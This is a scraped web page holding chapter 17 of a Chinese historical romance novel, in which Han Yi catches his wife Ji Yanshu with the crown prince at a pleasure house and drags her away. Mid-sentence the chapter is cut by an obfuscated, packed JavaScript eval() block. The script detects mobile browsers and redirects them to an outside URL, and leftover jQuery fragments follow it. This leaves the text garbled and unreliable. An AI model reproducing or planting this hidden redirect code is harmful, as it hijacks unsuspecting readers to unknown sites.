默认冷灰
24号文字
方正启体

17. 第十七章 抓包

作者:苏误本书字数:K更新时间:
    与此同时,我们的韩小公子也被个别“有心人”请到了醉太平。


    这其实也好理解,京城里这些个世家纨绔,没娶亲之前,谁还不是个风流浪子了?一群每天被圈在京城里的大好青年,除了寻花问柳,应该也没什么更好的去处了。


    大皇子和韩丞最近夹着尾巴做人,都在各自的府里老老实实呆着,虽然这一件案子是交回大理寺重审的,但他也要避嫌,顺手就将事情都扔给了其他人,自己乐得清静。


    韩弋看着底下一个一个的娇花劲草流水似的过眼,基本都没往脑子里面去,百无聊赖地趴在桌子上喝酒,心里盘算着如果将来大皇子真的带兵一举打进京都,应该怎么保着季砚书全身而退。


    他觉着,首先就不能让她和太子牵连太多。


    和他一起来的还有鸿胪寺卿沈确,沈爱卿今年二十有五,不曾婚配,也非京城人士,自己守着一个不大的宅邸并两只猫,过得潇洒极了,一点都不理解韩弋这种早早成婚找罪受的蠢货。


    沈确大概算是韩弋的半个知己,韩弋家里那点破事,别人不见得知道,他心里可都是门儿清。


    见韩弋对一旁服侍在侧的美人正眼都没有一个,他心里叹气,端着酒杯走过来在他眼前晃了晃:“发什么呆呢,喝酒。”


    韩弋心不在焉的和他碰了个杯,转头又接着发呆。沈确看不下去了,将他一把从那个破椅子上拽下来,扔到窗边,指着底下那些个莺莺燕燕,满脸恨铁不成钢。


    “我知道你家殿下天仙下凡,你乐意为人家守身如玉,那也得人家先看得上你不是?你看底下那些,但凡你勾勾手指,恨不能抢破脑袋爬你的床,怎么就拎不清呢?”


    这下韩弋总算是有了点动静,他漠然地往下瞟了一眼,觉得底下那些都是俗物,正巧蒙面乐师唱完,底下掌声雷动,韩弋准备转身离开窗边的时候,对面高台上突然飞下来一支绑着重赏的大花签,那花签扔的极准,正正好好插在了乐师的跟前。


    韩弋终于提起来了点兴致,顺着花签扔出来的方向往上看,顿时笑不出来了。


    只见一袭青色衣裙,举杯斜倚在栏杆上笑着打赏的人,正是沈确口中那“天仙下凡”的季砚书!


    韩弋当场就僵住了,身边的沈确察觉到他的异样,也顺着他的视线往上看去,正好看见栏杆上的季砚书被太子拉住手,往包厢里面带去。


    他不由得看向一旁一言不发的韩弋,心里默默为自己这个兄弟掬一把辛酸泪,半晌才磕磕绊绊地开口:“那个,不会是,长宁殿下吧?”


    玩的挺花啊……


    他又看着台下,那乐伶捡起地上的花签,跟着老鸨上楼谢座去了。


    只见韩弋一言不发甩开沈确抓着自己的手,顶着包厢里一众纨绔噤若寒蝉的目光夺门而出,极有目的的朝着顶楼包厢走去。


    出去替太子办事儿回来的如意和侍书刚进门,就看见楼梯上的韩弋,侍书瞬间倒吸一口冷气,将手上的东西往如意怀里一塞,足尖轻点,从另一侧朝着楼上飞掠去。


    太子的包厢宽敞极了,一共有两个开间,中间以屏风和纱帐稍作遮挡,窗户各有一个,但是里间的窗户却是关着的。侍书轻功了得,三两下登上顶楼,将紧闭的另一扇窗户撬开,冲进去摁住了正被美人环绕的顾玄明。


    姑娘们被吓得惊呼一声,侍书则来不及废话,干脆利落地一记手刀敲晕她们两个,顺手捂住顾玄明刚要出声询问的嘴,下一秒,包厢的门被一脚踹开,韩弋冷冰冰的声音响了起来。


    侍书松了一口气,完全没注意这是个令人尴尬的姿势,太子钟沁和季砚书都是故交,就算有夫之妇出入烟花之地这件事说出去没那么光彩,顶大也就是给别人留个可有可无的谈资,再加上季砚书受宠,并不算是什么大事。


    可是顾玄明就不一样了。


    他可是现在朝堂上举足轻重的角色,本来大皇子就多疑,看见这尊大佛和太子呆在一起,那就都玩完了!


    季砚书本来坐在桌子前面听曲儿,她坐的离那伶人极近,才勉强能听见一点点声音,刚想感慨这钱没白花,起码算是听上曲儿了,突然“砰”地一声,包厢门被人踹开了。


    这点声音按理来说她是听不见的,但不巧的是她的座位正好对着大门,一瞬间就和推门而入地韩弋对上了眼。


    太子一下子站起身来,挡在季砚书身前。季砚书也站起来,冷汗却先一步下来——顾玄明那个倒霉蛋还跟两个姑娘在里面呢!


    季砚书有点心虚地上前一步,怕露出马脚,也不敢回头确认顾玄明那边的情况,从来没觉得听不见是一件这么麻烦的事情。


    都怪钟沁,选的这什么破地方!


    她勉强按捺下焦急的心情:“你来这干什么?”


    韩弋的眼神在跪在一边的伶人,和挡在季砚书身前的太子身上各扫了一圈。随后笑出声来:“这话倒应该是我来问夫人,不在家中好好养病,怎么也愿意出来凑这个热闹?”


    “夫人”这个词一般都是韩弋来找不痛快时故意恶心季砚书的,因为当年甫一嫁过来,季砚书曾经闹了个天昏地暗,府里人但凡敢叫她一声“夫人”的,就都被她扔出自生自灭了。


    太子站不咸不淡地回:“彤儿在相府憋闷,我请她出来散散心,韩大人,似乎也管的太宽了些。”


    这下轮到韩弋心堵了,太子这一声“彤儿”直接叫出了亲疏有别。他眼神又暗了几分,咬着牙笑:“夫人心情憋闷,怎么不与我说,太子日理万机,反倒多多费心。”


    季砚书头上又要长活泼的小青筋,心想成个屁的婚成婚,这下栽人家手里了,管天管地的。


    “大人这是什么话。砚书和我们都是自小相识,同吃同睡长这么大的,情分自然是比半路夫妻多些。”太子倒是不慌不忙,“倒是韩兄,今日造访醉太平,也是来‘赏花’的吗?”


    韩弋脸色铁青,看着季砚书一脸木然,仿佛全然不把自己放在眼睛里的样子,不由得怒火中烧。


    殊不知季砚书只是担心他有没有发现顾玄明,侍书不在身边,他连刚才太子和韩弋说的那一番话都没听见,两个大男人在这明枪暗箭的打嘴牌,作为事件中心人物的她全然不知。


    钟沁那个废物呢,这么久了,怎么还不过来救场!


    韩弋不欲多废话,他上前一步就要去拉扯季砚书。谁知季砚书在听不见的状态下下意识不允许别人近身,动作先脑子一步,躲开了韩弋的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15425038|169124||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手。


    太子站在季砚书身侧,见此情景冷笑一声,韩弋顿觉更加难堪。他嘴唇紧抿着,伸出去的手就这样尴尬的僵在半空,却并没有收回来的打算。


    韩弋面沉似水地看着季砚书,一字一顿地说:“跟我走。”


    这句话季砚书看见了,思考了一下,没动。韩弋这一次拽住了她的袖子,刚想伸手将季砚书拉走,就在此时,太子也伸手,局势一瞬间僵持下来。


    韩弋阴沉着回头。


    季砚书也回头,看着面无表情的太子,朝着置身事外的钟沁使了个眼色。


    钟沁瞪了季砚书一眼,这才不情不愿的上前制止住太子。季砚书回瞪了对方一眼,这才忍着把韩弋这只手捏脱臼的想法,被他拽着往出走。


    两人下了楼,韩弋随意拉开一间没有人的屋子,将季砚书拽了进去。


    进了屋,季砚书这才得以脱身,揉着被捏过的手腕,其实韩弋看起来气愤,手上却没怎么使劲。她有点想不明白,看着周围粉红的纱帐,心想自己不就是出来听个曲儿么,怎么和被人捉奸在床一样?


    韩弋困兽似的在屋子里转了两圈,顺手砸了两样东西,这才渐渐平复下来。他看着季砚书,眼神是季砚书前所未见的愤怒,他厉声质问道:“怎么就非得是太子!”


    季砚书莫名其妙,以为自己眼花了。


    什么叫“非得是太子”?


    所以季砚书回给他的是一脸迷茫的空白。


    看着季砚书迷茫的表情,韩弋心头火起,过去三年就是这样,季砚书对他从来就是这样,不闻不问不关心,就好像他哪天死在她面前,迎接他的也只会是这样视若无物地空白。


    他又想起刚才远远看见太子拉着她回包厢的场面,一边回想起父亲在书房同他说的话,一时间觉得有点委屈,他压着嗓子朝着季砚书吼:“你不喜欢我也就罢了,为什么非得是太子!


    季砚书没耐心陪他玩下去了,绕过韩弋,夺门而出:“你发什么疯?”


    其实经魏尚书一事,季砚书对未来是稍微有一点构想的。


    等着扶持太子登上皇位,季砚书也就算是功成身退了。西北全权交给顾玄明,南疆的话,按照钟老的意思,应该是要交给钟沁的。到时候季砚书可以拂一拂袖,深藏功与名的继续在相府别院那个小院子里终老。


    身边有侍书时春两个小丫头,闲来无事看看书写写字,其实就可以了,她可以勉强认下这不怎么尽如人意的婚事,又或许多年后心意变通,她和韩弋两人能变得相敬如宾也说不定。


    但是如果韩弋是现在这样一个来找麻烦的频率,季砚书觉得她不得不对自己的这个设想存疑。


    老这么莫名其妙的,以后还有没有安生日子了?


    季砚书韩弋走后,太子一言不发地坐回座位上,身后的包厢里,顾玄明和侍书也走出来,侍书先是对顾玄明告了罪,又规规矩矩地朝太子行了礼,刚要告退,被太子挥手拦住了。


    太子面色不善地将刚刚吩咐如意准备的桂花糖糕递给侍书,勉强柔声叮嘱道:“说好请她吃的糖糕,今天被扰了兴致,你给你家殿下带回去把。”


    太子说罢摆摆手,侍书行了礼,这才告辞。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)